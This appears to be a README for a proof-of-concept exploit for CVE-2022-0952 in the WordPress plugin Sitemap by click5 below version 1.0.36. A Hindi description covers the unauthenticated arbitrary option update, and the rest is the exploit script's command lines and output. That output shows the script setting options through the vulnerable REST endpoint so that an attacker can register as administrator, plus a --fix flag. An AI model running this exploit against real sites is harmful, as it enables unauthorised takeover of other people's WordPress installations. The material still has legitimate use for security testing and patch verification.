randomrobbiebf/cve-2022-0952Sitemap by click5 < 1.0.36 - बिना प्रमाणीकरण के मनमाने विकल्प अद्यतन
Sitemap by click5 < 1.0.36 - अप्रमाणित मनमाना विकल्प अपडेट
यह प्लगइन REST एंडपॉइंट के माध्यम से विकल्प अपडेट करते समय प्राधिकरण और CSRF जाँच नहीं करता, और यह सुनिश्चित नहीं करता कि अपडेट किया जाने वाला विकल्प प्लगइन का ही है। इसके परिणामस्वरूप, अप्रमाणित हमलावर ब्लॉग के मनमाने विकल्प बदल सकते हैं, जैसे कि users_can_register और default_role, जिससे वे एक नया प्रशासक खाता बना सकते हैं और ब्लॉग पर कब्जा कर सकते हैं।
$ python3 CVE-2022-0952.py -u http://192.168.1.131:5555
The plugin version is below 1.0.36.
The plugin version is 1.0.35
Vulnerability check: http://192.168.1.131:5555
Option set successfully: http://192.168.1.131:5555/wp-json/click5_sitemap/API/update_html_option_AJAX
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.
$ python3 CVE-2022-0952.py -u http://192.168.1.131:5555 --fix yes
Vulnerability check: http://192.168.1.131:5555
Option set successfully: http://192.168.1.131:5555/wp-json/click5_sitemap/API/update_html_option_AJAX
Fixed: You can not longer register
Option set successfully: http://192.168.1.131:5555/wp-json/click5_sitemap/API/update_html_option_AJAX
Fixed: You can not longer register